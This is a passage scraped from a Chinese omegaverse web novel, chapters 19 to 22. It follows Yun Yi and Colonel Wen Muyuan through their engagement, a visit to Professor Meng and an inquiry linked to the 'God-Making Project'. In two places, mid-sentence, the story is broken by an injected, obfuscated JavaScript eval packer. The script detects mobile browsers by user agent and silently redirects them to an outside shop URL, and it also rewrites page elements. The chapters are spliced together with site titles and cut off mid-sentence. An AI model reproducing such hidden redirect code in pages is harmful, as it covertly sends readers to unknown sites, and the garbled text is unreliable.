闻牧远对触碰似乎很敏感,他骤然一缩,随后又装作若无其事地放了回去。 云泆瞧着他这样的反应觉得有趣,想到结婚的事,他问道:“闻上校,回头我们可少不了要在公众面前演戏,你这么害羞可不太行。” 闻牧远闻言马上正色,答道:“我没有。” “是吗?”云泆笑笑,下一瞬他微微转身,伸手牵住了闻牧远。 他应该不会反感吧,反正临时标记也做过了,不久之后就要结婚,现在牵个手应该没什么。云泆心里是这么想的。 他的手尺寸已不小,但闻牧远的更为宽大。二人的指腹都有一层薄薄的枪茧,两相轻触,倒是契合。 云泆感到掌心的手有些僵,怕闻牧远不愉想要后退出来,谁知他刚离开一寸,那只手就追了过来,转而把他紧紧握住。 车里太黑,云泆猜测着问:“不好意思了?” 闻牧远摇摇头,担心云泆看不见又说道:“没有。”然后把手牵得更紧了些。 “这算是培养感情吧,”云泆低头扫了一眼二人交握的手,他还有闲心开玩笑,“回头我们可以多试试。” 闻牧远的瞳孔在黑夜里也是亮的,他像服从命令一样说:“好的。” 云泆觉着他的声音有些闷,那双眼睛里闪烁着复杂的情绪。 像是看出他在想什么,云泆道:“我们都不用有太多顾虑,一切顺其自然就好。” 闻牧远闻言又说好,二人的手就一直这么牵着,直到车子在家门口停下才松开。 手上的温度骤然远离,云泆竟有些不习惯,不得不说,和闻牧远在一起相处,不论做什么都很自然。 无论是牵手、拥抱亦或是标记,这些行为明明带着亲密的意味,身为omega的他却从未觉得冒犯。 其他alpha在高契合度的omega面前做不了君子,一言一行不免带上别样的暗示,更何况那是趋近于满分的契合度。 但闻牧远在这些事情里一直十分克制,从不逾矩。他永远在半步之外,静待云泆的命令。 首都的雨季已经过去,整座城的夜被笼罩在宁静之中。 世界不会因人类的小事而性情大变,她仍就那么存在,那么运转。 云泆和闻牧远在夜里依旧睡在一张床上。 细小的接触似乎没有改变什么,但云泆半夜醒来却发现不远处那条蛇尾又一次跃跃欲试着靠近。 主人藏不下的情绪被寄托在这一根小尾巴上。他是闻牧远的化身,尽管云泆还没意识到这点。 他本来就喜欢蛇,但闻牧远平日向来不会纵容自己本体外露,因此云泆能见到的时间是少之又少。 现下他睡眼朦胧,瞧见眼前的尾巴还以为是小蛇,于是毫不犹豫地伸手,把尾巴揣进怀里闭上了眼。 被惊醒的闻牧远看着眼前的场景不知所措,这尾巴既已进到云泆怀里就不好再拽出来。 无法,他只能选择视而不见,可尾尖传来的热意挥之不去,闻上校睡前在心中立誓,明天要给自己加训。 翌日醒来,那局面倒是正常,尾巴早就精明地消失不见。 闻牧远没多说,云泆以为那只是一场梦。 按计划今天他原本应该在云家陪父亲,但经过昨夜的变故,顾逸青也特意告诉他不必再来回奔波,如此一来,这天反空了出来。 最近发生的一连串事件都和“造神计划”脱不了干系,云泆在书房整理档案资料,突然想到要去见一个人。 那人就是他大学的老师,孟思兰教授。 云泆16岁就考进首都医科大学,彼时他一心想当医生,就算跟家里闹僵也要去读生物医学。 他年纪小,成绩漂亮人也聪明好学,不过一个学期就成了孟教授最喜爱的学生。 孟思兰在生物医学方面的研究无人能及,云泆跟着他学到不少东 19. 黄花 《被联盟战神拯救后》全本免费阅读 孟思兰早早就在工位上等着他们,他上了年纪,有限的精力不足以支撑他每天泡在实验室里。 他如今过不了多久就要退休,和云泆之间也算得上忘年交。 云泆走近关切问候道:“老师近来身体好吗。” “没什么大问题,我这个年纪有一些小病小痛也正常,”孟教授摘下眼镜,他的眼角细纹层层,多年岁月在他脸上留下了不少痕迹,“其他一切都好,我现在就在这做做研究、带带学生,和以前一样。” 说完,他的视线落到跟着云泆进来的alpha身上,问:“这位是?” 闻牧远刚想开口,云泆就夺过他的话头:“这位是南境的闻牧远上校,也是我的未婚夫。” 孟教授被他这话吓了一跳,惊诧不已:“未婚夫?要结婚啦,这是什么时候的事啊,老师怎么没听说。” 云泆笑笑,他说:“之前因为军部忙,这事不好开口。现在正好我回首都,闻上校也有空,我们就想着趁早定下来。” 老人被他的话语说服,许是想到云泆年纪也不小,成家是件好事,连连点头说好。 他乐呵道:“你们回头办婚宴可得叫上我,这是大喜事啊。” 云泆点头顺带瞄了一眼闻牧远,那个快变成柱子的人马上道:“一定!” 师生二人见他这模样都不由失笑,他们站了也有一会,孟思兰招呼他们坐下。 云泆估摸着要说不少话,怕老师口干,起身去转角拿了几个杯子和水壶。回来时他瞧见孟教授正盯着闻牧远看,而闻牧远则有些许局促。 “怎么了老师,闻上校脸皮薄,一直盯着他要不好意思的。”云泆说着感觉自己的衣角被扯了扯,他没理会,嘴角忍不住上扬。 他把杯子放到桌上,倒满刚沏好的茶。 “嘶,我好像在哪见过这小伙子。”他托着下巴仔细思索着。 末了他想起来,这孩子不是当年造神计划的实验体之一嘛,孟思兰担心闻牧远不自在,想要岔开这个话题。 云泆和闻牧远不意外,毕竟当年那么多研究都是由孟教授的团队负责的,就连每个陨落者的基因测算都是。 这么多年过去还能认出来,倒也是老人家眼力好。 今天他们前来主要就是为了这事,因此云泆直言道:“老师,其实我们今天来就和这些事有关。” 孟教授见他正色,问道:“怎么了,造神计划那事不都过去很多年了嘛。” 云泆垂眸,有些机密的事不方便往外说,他的隐瞒孟教授也明白,于是没有过多追问。 “确实,不过近来边境异动不少,我们有一些猜测,”云泆微微停顿,“当时您做过很多实验,不知道现在那些数据还在吗?” 孟教授点头,他说:“多数资料我都传到中央数据库里了,那些你应该能看见,其他的还有些手记,我都放在家里,你要是需要就拿去吧。” 云泆应下,说回头会托人去取。 另外的一件事是秦羽拜托给他的。当时那份关于信息素弥合的论文,孟思兰就是研究的发起者之一,秦羽希望能得到一些更确切的数据,这样有助于云泆接下来的恢复。 军方只对外宣称云上将受伤,但没有明说受的什么伤,因此人们大多以为云泆只是有些小伤病。常年在一线的人,谁身上没点旧疾。 至于闻牧远的作用知情人更是讳莫如深,旁人只当这是军部对云上将的保护。 云泆蓦然提起这项研究孟教授还愣了一会,他喝下一口茶说:“这是之前我和其他教授带着学生搞的研究,不过后来因为别的研究太多就耽搁了,现在发表的文章基本就是研究的全貌。” “不过我自己还做过一些补充实验,到时候你和那些手记一块拿走吧。”老人靠在椅子里不疾不徐地说着。 云泆感激老师的毫无保留,二人说完又聊了会寻常的小事。 孟教授是个极富生活情趣的人,他看起来像是古板严肃的学术派,实际上却恰巧相反。 不知不觉过了两个多钟头,云泆怕老师太累身体吃不消,于是准备告辞。 孟教授欣然相送,走到门口的花架旁,他叫住闻牧远:“我这没什么拿得出手的礼物,也就花还养得不错,你要是不嫌弃,就挑一盆带回去吧。” 闻牧远没有推拒,他说了一声“好”,回头询问云泆的意见。 云泆摇摇头,告诉他:“老师让你挑。” 闻牧远收回视线,看向那近两米的花架,这上头有大大小小几十盆花,颜色芳香各异,让人眼花缭乱。 他只看了一会,就从高层拿下一盆不起眼的黄色小花,转身对孟思兰道:“我选这盆,多谢教授。” 孟教授见他选了这盆花,眼神凝滞了一瞬,竟透出几分悲伤,他摆摆手:“你就和云泆一样叫我老师吧。” 闻牧远又恭敬道:“谢谢老师。” 又多了一个学生的孟教授微笑颔首。随后云泆二人便相携离开了这栋旧楼。 从这走到门口还有一段路程,闻牧远这么一个大人手里托了一盆小黄花倒也有趣。 他想起刚才孟教授的神色,问道:“这盆花有什么特殊意义吗?我看老师的神色不太对。” 云泆朝那黄花看去,叹出一口气,他说:“这是小水黄,一种很寻常的花。但它却是师母信息素的味道。” 闻牧远一愣,继续听云泆说。 孟思兰本人只是一个寻常的beta,信息素和身体的等级都不太高,出生也极为平凡。但他的妻子兰觅却是首都兰家的女儿,那是一个极为优秀的omega,在医学领域有不少突出的贡献。 他们是大学同学,许是因为志趣相投,二人很快走到一起,组成了家庭。 兰家是一个相对开放的家族,既不阻止家里的omega去贫民窟医援,也不反对她和普通的beta结婚。因此他们二人的婚姻极为幸福,少年夫妻相伴而来更是情谊深切。 但天妒良缘,兰觅在某次贫民窟的暴乱中不幸身亡,她的伴侣、家人都悲痛欲绝,但结局无可转圜,一个善良优秀的omega终究离开了这个世界。 按时间往前推,那年云泆也才三岁,因此他所听闻的也仅仅是别人口中的只言片语。 至于他的老师孟思兰,以前的也并不叫这个名字,只是为悼念亡妻才选择去改名。 20. 铺垫 《被联盟战神拯救后》全本免费阅读 那群学生不敢贸然打扰军官,但有人忍不住偷拍了几张传到星网上。 他们倒也没配太过浮夸的文字,只说“竟然在学校看到了云泆上将!他身边还有一个alpha,互动好萌啊。” 云泆年纪轻轻就立下无数战功,从他成为北境的发令者起,联盟内部就很少听到有关战败的消息。 作为联盟的精神旗帜,云泆被称为战神。人们大多把这个称呼放在心里,相信如果有云上将这样的人在,那联盟早晚会胜利。 因此网络上任何与他有关的话题都能引起很大关注,更何况是人都有窥探欲的,那几张云泆与身边alpha牵手的照片几乎传遍了星网的每个角落。 人们都在猜测这alpha是什么身份,二人究竟是何关系,这场讨论在星网上的热度简直无与伦比。 战争是一座围城,它看似是两国向外的交锋,实则亦是对内的封锁。 城墙内的民众只能获取到有限的信息,而这其中很大一部分都是执政者希望他们看到的,在这种情况下媒体就拥有很大的力量。 因此瞿千岱那边没放过这送上门的好机会。 手下看准时机马上把准备好的资料发给媒体,让他们照安排的一点点在民众间铺垫云泆即将结婚的消息。 一篇篇文章被报道,那些文字恳切,仿佛所有都确有其事。 alpha的真实身份被逐渐揭开,于是众人了解到他也是为国立功的英雄,不论身份、能力和容貌,与云上将都十分相配。 这甚至不用媒体过多渲染,只要把二人的照片往那一放,网民就能自行脑补出无数故事。 一切如预期安然进行,云泆看着星网上一个个不存在的猜测深觉人的想象力真实惊人。 他们甚至翻出好几年前军媒发布的照片,对其展开地显微镜式的搜索。 那是一场大会的记录,彼时云泆还是中将,而闻牧远是中尉。二人在首都会场里坐得不算近,中间还隔着一条宽长的过道,那张照片也看不清人的神情。 但网民偏偏觉得闻牧远看向的就是云泆所在的方向,他们深信二人已在私底下早已相恋多年,只是碍于战况才一直没有公之于众。 这倒是和云泆的说法不谋而合,看来不久之后他们若是公布婚讯定会顺理成章。 回到洋房,云泆还未进门就发现有来客,玄关的空气似乎带上了湿意,这种草木与水汽混合的味道是来自alpha的信息素。 云泆了然,原来是他的父亲。 闻牧远把小水黄安置好就走上二楼,为云泆父子留出空间。 云瑞玉应该刚从什么正式场合回来,他身上的西装没有一丝褶皱,白衬衫黑西装,很标准的行头。 云瑞玉那张脸与多年前变化不大,仍是清隽雅致。云泆遗传了他的骨相,但他二人的眼睛却截然不同。 云瑞玉不论何时都给人一种来自上位者的压力,而云泆随了顾逸青的皮相,并没有强烈的侵略感。 “没想到您居然会主动来找我。”云泆在他对面的沙发上坐下,率先开口。 云瑞玉来这一趟什么都没带,他说:“你爸爸和我说你要结婚,今天我刚开完会就看见星网上的那些报道。” 他眉头微蹙,问:“你真的想清楚了吗?” 云泆并不意外他的反应,说:“最近不大太平,您知道主战派一向备受争议,我和闻牧远结婚有利无害。” “我代表北境军方,而他是南境的新兴势力,早年南北分裂的后遗症还没完全过去,我们俩结婚倒是能让军部团结不少。” 云泆姿态放松,他说完就没有再多言,云瑞玉垂眸思索。 如今首都的政坛势力主要是两派,其一是以瞿千岱、云泆为首的主战派,而另一方则是以席任为首的主和派。 两派的分歧不是近些年产生的。战与和的矛盾自从几十年前就一直争斗不休。 席任是联盟的副总统,他代表的是世家大族以及上层阶级的利益。 而席任本人就出生于高门席家,财力雄厚,势力遍布全联盟。他一入政坛就得到无数拥趸,当年是总统的有力候选人,亦是个老谋深算的狠对手。 而瞿千岱与他恰恰相反,他出生于联盟最底层,那是一个位于南境的贫民窟,生活环境恶劣到不可思议。 多年摸爬滚打后,他在这不太平的年代积攒到足够的功劳,上一届大选时竟以分毫之差胜过席任,成为有史以来第一位贫民总统。 云家在这两派间没有明确站过队,但从族老的态度看,他们明显更倾向于主和派。 当年云泆的选择与他们背道而驰,犯了不少人的忌讳。 这些人当然不包括云瑞玉,他一向看不上家族里那些混吃等死的老东西和旁支败类。 但碍于一直以来的潜规则,他还是选择隐忍不发。 对于云泆的叛逆,这些年来他的接受度提高不少。 “他身后的力量是会带来益处不错,但你确定他是可信之人吗。”云瑞玉直视着云泆,属于高等alpha的信息素被有意放出,它们渐渐充盈在空气里,逼近二楼的房间。 这是云瑞玉对闻牧远的试探。 云泆神色如常,他说:“我受伤的事想必您也知道了,当时时间紧急,但凡他晚来一时半刻,我的腺体可能就保不住了。” “想让我死也许不难,但保下我的命,他是出力最多的那一个。”云泆想起刚醒来时映入眼帘的黑蛇,想到他的守候,淡淡道:“父亲,我之所以选择他就是因为我信任他。” 云泆说话间,闻牧远的信息素对云瑞玉做出了反应。 他的等级高于云瑞玉,本可以毫不费力地将那气息赶走,但闻牧远没有这么做,原本高挺冷冽的雪松选择弯腰,向长者的试探低头。 闻牧远用最直接的方式表达着他对云瑞玉的敬意。 雪柏的软化就像树枝轻颤,枝上的积雪被无声抖落,化为一场迷蒙细雨落在青藤上。 云泆闭眼感受着那细微的变化,良久,他问:“父亲,你还满意吗?” 云瑞玉不动声色地收回信息素,他起身,出门前最后看了一眼自己的儿子,开口道:“既然如此,我就先祝你们新婚快乐。” 云泆目送他远去,回屋时alpha正从楼上走下来。 “晚饭想吃什么。”闻牧远问。 各式菜色在云泆脑子 21. 黑蛇 蛇尾恋恋不舍,回到主人身边后它颇有怨言地不安骚动,闻牧远目光冷冷一瞥,他伸手把尾巴又拉近了些。 云泆握拳掩住嘴角的笑,起身去了书房。他和闻牧远都是联盟的高级军官,因而一些私事也变得极为重要,需要向政务厅进行报告,譬如说结婚。 云泆那份资料填了一半,他坐下,一旁的钢笔有些许干涸,在白纸上划了几下后才流出墨水来。 寻常的报告都可以直接发电子版,但这样的事他还是想亲自写下来。虽说他和闻牧远是的婚姻来得突然,但某些方面他还是希望正式一些,也算是对伴侣的尊重。 他低头伏案,坐姿很端正,白衬衫下脊背笔挺,微微弓起弧度,后颈的碎发遮住腺体上的疤痕,橙黄的灯光使他看起来温暖而柔软。 云泆专注落笔写下报告的事项和原因,过了一会,他的余光瞧见书房的门被推开了一条缝。 黑蛇从门后缓缓游移进来,蛇身粗壮而长,鳞片摩挲发出微弱声响,它到了云泆脚边有不知该往哪里去,有些无措地抬起头。 蛇鳞边缘齐整圆润,每一片都饱满非常,云泆挠了挠蛇头,说:“上来吧。” 黑蛇闻言照做,他顺着云泆的小腿蜿蜒而上,许是怕压着人,并没有完全攀上去,只是将蛇头静静靠在云泆肩上,还有很长一截尾尖落在地上。 云泆嘴角上翘,他捡起地上的尾巴放在自己膝盖上,侧头说:“闻上校,有人夸过你真的很漂亮吗?” 闻牧远化作的黑蛇无法答复他,殷红的蛇信向外吐出的频率倒是变高不少,舌尖的叉分得极开,云泆见状知道他在不好意思,轻抬眉头,忍不住把那尾尖在自己手指上饶了一圈。 他左手牵着蛇,右手又拿起刚才放下的钢笔来,若无其事地继续往下写。 黑蛇的眼睛很大,像巴洛克珍珠一样完美无瑕,灰蓝泛银的瞳色与光相映,如同流动的水银,闪烁着别样的光泽。 它静静地趴在云泆背上,感受着身下传来的热意,鳞片忍不住收缩,眼睛一直盯着面前那张申请报告。 云泆的字工整隽秀,如同的他人一样,乍一看似乎温和内敛,仔细瞧实则暗藏锋芒。 傍晚时候,署长发来案件的调查结果。不出云泆所料,崔妙妙的同事那边什么都没发现。 至于她的父亲,从各个方面看都十分普通,既没有接触过什么一样的人,也没有去过其他有问题的场所。 崔妙妙的死就像一个强硬的休止符,它猛然跳入,让案件被迫停了下来。 至于程风那边现在情况稳定,再过几天应该就能醒来了。 云泆礼貌地回复署长的消息,附带几句对他们工作的慰问。幕后之人既然敢找常立德这么明显的靶子,就不会轻易留下其他把柄。 云泆揉揉眉心,这事确实没头没脑。如果说当时偷袭他是想要联盟动乱,让瞿千岱痛失一臂,那现在对程风出手又是什么原因。 程风在南境说得上话,但也不及闻牧远来得影响大。难道是因为闻牧远跟他来了首都,他们退而求其次才选择了程风吗?云泆暗自沉思。 腺体轻跳,他灭掉桌上的灯,一片黑暗中带着分量不轻的蛇站了起来。 闻牧远想下去,云泆却拉住他,说:“不重,我们回卧室。” 说着他就朝卧室方向走去,闻牧远不敢再动作,任由云泆将他放到床上。 这张床尺寸不小,二人平日里睡觉规矩得很,基本没什么肢体接触。除了时不时冒出来的尾巴,再没有出格的行径。 墙边的衣架上还挂着闻牧远换下来的衣服,云泆在黑蛇身上轻轻摸了两把,他坐在窗边开口道:“让你变成这样也不单纯是想逗你,秦羽和我说你们每隔一段时间需要变成兽形以保持能量稳定。” “他要是不提,我估计到现在还不知道。”云泆的手停在黑蛇的脊背上,那触感冰凉却不滑腻,很好摸。 前些天他和秦羽汇报自己的身体状况,秦羽不经意地提了一嘴成年陨落者的正常作息。 他说成年后为保持体内能量的平衡,陨落者要适当回到动物的状态。云泆在这头听着,心里把事记下了。 云泆把脚上的拖鞋踢掉,他问:“陪我躺一会怎么样。” 黑蛇把头伸到他掌边,示好似得轻蹭。 卧室里没开太亮的灯,只有床头的壁灯亮着。二人身高差得不多,闻牧远比他高上两公分,但现在躺在床上,他的身体在那粗长的黑蛇面前倒是显得有些娇小。 黑蛇张开嘴打了个哈欠,云泆瞥见它深黑的口腔内壁和一闪而过的尖牙。 闻牧远当初在实验中的结合体是一条变异的黑曼巴,不仅体型惊人,就连毒液的强度也远超同类。 云泆眯眼碰了下上翘的蛇吻,黑蛇的信子吐在他手上,微热的骚动过后让人觉得有些痒,他眼皮渐渐变重,不知不觉就阖眼睡着了。 再醒时已是半夜,闻牧远已穿回衣服躺在一旁,他们又回归到平时的模样。 云泆有点洁癖,受不了就这样睡到第二天,他放轻动作起身简单地洗漱了一番才回到床上。 不知是不是昨天变回过原型的缘故,第二天的闻上校显得十分神采奕奕,平时没什么情绪的脸上散落着淡淡的笑意。 云泆进到政务厅,没走两步就遇到几个老熟人,他们热切打着招呼,其中一个官员问道:“上将今天来是有什么事吗?” 云泆闻言抬起手中的文件袋挥了挥,他眼角带笑,说:“提交一下我的结婚申请。” 那几个官员错愕不已,想起之前网上的热议,他们又看向云泆身后面带微笑的闻上校,祝福的话语脱口而出。 “上将居然要结婚啦,恭喜恭喜啊。” “闻上校也是啊,都是喜事。” “二位很是般配啊,要长长久久。” 云泆欣然收下,告别这几人后继续往里走。 他要结婚的消息一瞬之间就像被插上了翅膀,所有人都知道了,他们目光炯炯看着这对即将新婚的夫夫,动作意外的齐整。 云泆和闻牧远交完资料还早,至于审批也要和其他文件一起走流程。 正好顾逸青那头让他们去量一身结婚要穿的西服,云泆应下,让司机在厅外稍等。 刚过转角,瞿千岱等人迎面而来,席任就走在他身侧,看见云泆笑着问候。 四个信息素等级颇高的人站在那,对周围人而言是不小的压迫。云泆和闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12612584|133315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牧远本就是军人,身上总隐隐透着肃杀之气,至于瞿千岱和席任,他们虽是政敌,但不会撕破脸,一个面无表情,一个笑里藏刀。 瞿千岱问:“来交资料?” 云泆答:“是,现在要走了。” 于是瞿千岱侧身为他让出过道,说:“一路顺风。” 两方人在这片刻擦肩而过,瞿千岱的目光与闻牧远短暂交汇而后投向别处。 司机载着云泆二人抵达顾逸青发的地址,那是一家历史悠久的西装店,专门为世家大族定制衣服。 还未参军前云泆也来过几次,老板是个脾气古怪的小老头,不论什么身份,只要想穿他做的衣服,那就一定要亲自到店里来。 短短的廊道两边摆满了人台,层层叠叠的布料被摞在一旁的手工台上。 见云泆他们进来,正在喝茶的顾逸青扬声对老板说:“人来了,可以开工了。” 今天店里冷清,只有他们。小老头拿着古早的软尺走到他们身边,单片眼睛下目光清明,他问:“哪个先来?” 云泆对他说:“我吧。”说着就脱去身上的外套,他转身递给闻牧远,动作自然:“劳驾。” 闻牧远接过,顾逸青喊他过去坐着歇会儿,于是闻牧远坐在顾逸青旁边的椅子上看老板给云泆量尺寸。 细长的软尺贴合他的身体,那是极佳的比例,肩宽腰细腿长,不论穿什么衣服都像衣架子般标准。 顾逸青瞧着自己的孩子,开口道:“以前他还总搪塞我,说等不打仗了就结婚,没想到这么快我就要看到他的婚礼了。” 闻牧远眸光闪烁,他说:“叔叔,我会认真对待这场婚姻。” 顾逸青抬眼看见他认真的神色,无奈道:“我知道,你也是个好孩子。” 照顾那些孩子的半年是云泆和家里矛盾最激烈的时刻,那时候瞿千岱还在地方拼命,云泆在军部的脚跟也还没站稳,云家不为他提供便利,云泆在中央过得极为不易。 因着揭发了“造神计划”,他还成为不少人的眼中钉。 养伤期间他也曾遭遇过几次暗杀,不过那些人的手段还是差了点,失败后都被云泆无声无息地按了下去。 彼时多一事不如少一事,更何况他家里还有那见证了实验全过程的六个孩子,云泆不愿招惹麻烦。 顾逸青每每听到他的消息都惶惶不安,心里实在不好受,后来他和云瑞玉大吵一架,独自出门想去云泆住的地方远远看上一眼。 到了别墅外不远处,他发现这附近守备森严,心放下了些。透过车窗玻璃向上看去,别墅三楼的窗正巧在此刻被推开。 两个孩子探出头来倚靠在窗框上,一个脸上带着黑鳞,一个颈侧呲着羽毛。二人似乎在玩笑,他们的面孔同当时报道上的沉重模样截然不同。 顾逸青知道当初那个男孩就是如今眼前强大冷冽的alpha,他忽然觉得二人的缘分应该是不浅的。 云泆量完尺寸走来,闻牧远站起让出位置,顺便把怀里的外套物归原主。 老板眯着眼喊闻牧远过去,云泆让他等等,闻牧远回头问他怎么了。 云泆眉眼一弯,指着他的前襟说:“礼尚往来,我帮你拿外套吧。” 22. 寻人 闻牧远一怔,再反应过来时外套已到了云泆手里。 小老头让他把背挺直,于是他收回视线直视着前方。 闻牧远那头很快就结束了,老板对二人的比例啧啧称奇,他告诉顾逸青下周一记得来取,随后就进了工作室。 顾逸青还要去公司处理些琐事,他让云泆和闻牧远先回,其他和婚礼有关的事宜他都会帮着操办。 有他帮忙云泆省去一桩烦心事。婚期就定在半月后,一切都紧锣密鼓地展开,或许等到审批结果出来,官方媒体也要造势报道。 云泆到家给闻牧远列了张单子,上面是他的一些小习惯和喜好,闻牧远最近这段时间已观察得七七八八,和这张纸上写的几乎没什么出入。 闻牧远也写了一张有关他的,不过上面的信息乏善可陈,无趣得很。 云泆给闻牧远看顾逸青预选的几个婚礼场地,问道:“你喜欢哪个。” 闻牧远放眼扫去,有首都最高级的酒店,有教堂也有草坪,他说:“一般哪个最好?” 云泆说:“酒店吗?好多年没参加过婚礼了,以前在北境我身边的人结婚,也就聚在一块吃上一顿的事。” “这样啊,”闻牧远知道云泆不是个乐于被束缚的性子,“那草坪怎么样,我看婚礼那会天气很好。” 闻牧远很少主动提议什么,这个选项也正中云泆下怀,他笑着说好。 二人要宴请的宾客不多,云家那边除几个最亲密的人外云泆多见一面都嫌恶心。其他交好的人大多是军官,有要务在身,战事下他们抽不开身,往常最忙的云泆倒成了闲人。 不看场面上的需要,能来的亲朋寥寥,不过这也没影响云泆的心情,毕竟是第一次结婚,他觉着还挺新奇。 相比于他熟悉的战争,这一场婚姻显得无比柔和。他不知如何用略显粗糙的手捧起这脆弱美好的东西,于是只好慢慢试探。 云泆很难形容他对闻牧远是什么感觉。他眼里闻上校是个很可靠的人,看起来不好接近实则贴心细致。 如果非要定义,那感觉更多是一种欣赏。当年的孩子经过漫长跋涉成长至如今的模样,他站在那,像松柏笔直高挺,带领手南境的军队带回一场又一场胜利。 假以时日,他的威望不会逊色于今日的云泆。 但每每看见他害羞闹别扭,云泆又发自内心的愉悦,这无法用欣赏来概括。 他在这方面不是个太较真的人,没急着给这种不知名的情感下定论。反正时间还很多,他们将要成为伴侣,往后总会明白的。 把一切都商讨完,客厅陷入沉默。可不过几秒,云泆的通讯器响了起来。 见来电人是警署署长,云泆马上接起。 “上将,程中校在晚上醒了,并且有关程中校的案子我们又有新的发现。” “你说。”云泆道。 “起先崔妙妙的父亲那头很正常,他和女儿的关系一般,听到死讯后也没有太悲伤。后来我们顺着他父亲的经历查下去,又找到了些线索。”他的语速很快,接着往下说。 “崔建的祖籍在联盟北部的一个小镇,叫玉夫镇,那里属于边境线附近区域,和帝国接壤。他认识了前来经商的妻子,二人同居过一段时间,但后来那个女子不知是何原因,生下女儿不久后回了帝国,再没有再入境。原本按照玉夫镇的落后程度崔妙妙不可能来首都上学,但二十六年前,首都曾创建医援小组前去援建,还投入不少资金,崔建这才带女儿离开了那。”署长细致地描述了当时的情况。 云泆听见二十六这个数字莫名耳熟,仔细思索后猛然想起什么,他问:“这个医援项目的负责人是不是叫兰觅。” 署长一愣,似乎在翻看资料,他快速答道:“是的,负责人就是首都的兰觅教授。” 云泆神色凝重,他问:“那你们查到的关键线索是什么。” 署长答:“崔妙妙小时候生过重病,是医援的医生救了她。后来她到首都读书,和那个医生还有断断续续的联系,而我们翻看了当时‘造神计划’的参与人员名单,发现那个医生的名字就在上面。” 闻牧远静静开口,他说:“那个医生是不是叫邱谓之。” 署长有些意外,那人的名字正是闻牧远方才说的。 云泆皱眉,他说:“麻烦你们了,这件事还请继续查下去。” 署长说好,又补充了一些细节,随后便挂断了。 云泆这头的氛围倒是格外凝重,他与闻牧远四目相对。 邱谓之这个名字他们都不陌生。 现在首都医科大学的档案里还能查到这个才智过人的beta。 他既是当年负责看管闻牧远的研究员,也是瞿千岱在实验团队中的线人。 当初要不是邱谓之刻意创造时机放跑闻牧远,如今这些孩子不知道要去向何处。 提起他的名字闻牧远内心波澜不止,他说:“他和崔妙妙联系的时间段正好是‘造神计划’的初期,那个时间点太早,我知道的不多。” 云泆点点头,他眉头紧锁,当时因为抵达现场太晚,军方查获的证据十分有限,而那些研究人员更是销声匿迹,其中就包括邱谓之。 他没有回到事先约定好的地方,也没有再发出过任何消息,就这么在世上凭空蒸发。 云泆一开始对“造神计划”并不知晓,直到他救出闻牧远,实验东窗事发后才和瞿千岱熟悉起来。 从瞿千岱口中他知晓这个计划早就在暗中筹备,而邱谓之主动提出要进入实验研究组,瞿千岱在暗中操作,二人一直以来配合默契。 但后来实验进程突然加快,看上头的意思是要进行更过激的研究,之前的布局被打乱,邱谓之不顾瞿千岱的命令放出了闻牧远等一众实验品。 此后的一切,云泆便悉知了。 “其实这些年他没停止过找人。”闻牧远轻声说。 当初在实验室里闻牧远因他的帮助而逃出生天,邱谓之对他有大恩。 因此闻牧远在有能力后主动联系上瞿千岱,多年来暗中帮他留意邱谓之的踪迹,只可惜毫无发现。 卧底本就是一个危险系数极高的事,更何况是在那群非人的疯子身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12612585|133315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他们的恐怖与血腥只有亲历者才明白。 事情涉及邱谓之,瞿千岱必定已经知晓,云泆从未见过邱医生本人,但他知道瞿千岱能有今天,邱谓之功不可没。 署长口中落后的玉夫镇正是瞿千岱的故乡。二十六年前那场医援让兰觅教授客死他乡,却让瞿千岱如获新生。有些细节云泆并不知晓,但他知道兰觅当年之所以会死在暴乱中,是为了两个孩子。 一个是她的得意门生,邱谓之;另一个则是邱谓之护着的小混混,少年时期的瞿千岱。 “要是他知道事情的原委一定会告知,”云泆冷静开口,“邱医生和崔妙妙有长久联系肯定不是为了害她,我怀疑他是在崔妙妙身上发现了什么。” 闻牧远说:“如果崔妙妙有问题,那起因大概是当年的医援,想要继续往下查不太容易。” 云泆心里认同他的说法。当年的暴乱首都派去的人折损不少,多家媒体对此大肆报道,引起民众不满,因此那段时间中心城和地方的关系极为恶劣。后来为修复双方的信任,两边都做了不少工作。 有关暴乱的许多细节都被暗中压下,难以查证。 这段经历对于云泆而言过于久远,那一年他才九岁,哪怕是瞿千岱也不过是个普通孩子。不知道多少资料湮灭在近来的十几年中,不为人知,现在要动手去查,只怕有些人会坐不住。 想着,云泆的腺体蓦地突突跳了两下。 “嘶——”他低头,下意识捂住后颈,身体忍不住想要蜷缩起来。 闻牧远连忙扶住他,释放出大量信息素。 “怎么了,是腺体痛吗?” 云泆在他的怀里慢慢缓过神来,瞳孔有些涣散,声音沙哑道:“后遗症。秦羽和我说过,这是正常反应。” “这要持续多久,”闻牧远语气难掩担忧,“需要我做什么?” 云泆这会已经没那么难受,他撑着闻牧远的小臂站起身,略显苍白的脸上浮起淡淡笑意,他说:“别紧张,等到我痊愈这种状况也会消失。你已经帮我很多了。” 他努力安抚着体内躁动乱窜的信息素,垂眸看向闻牧远。青藤在静默中缠上雪柏,藤蔓攀在树的身上,慢慢平静下来。 此时,总统办公室内。 瞿千岱正在处理政务,他面前是两摞文件和刚挂断的通讯器。 金属眼镜架在他的鼻梁上,镜片后的神色难辨,他想起许多以前的事,思索许久后拨通了一条的专线。 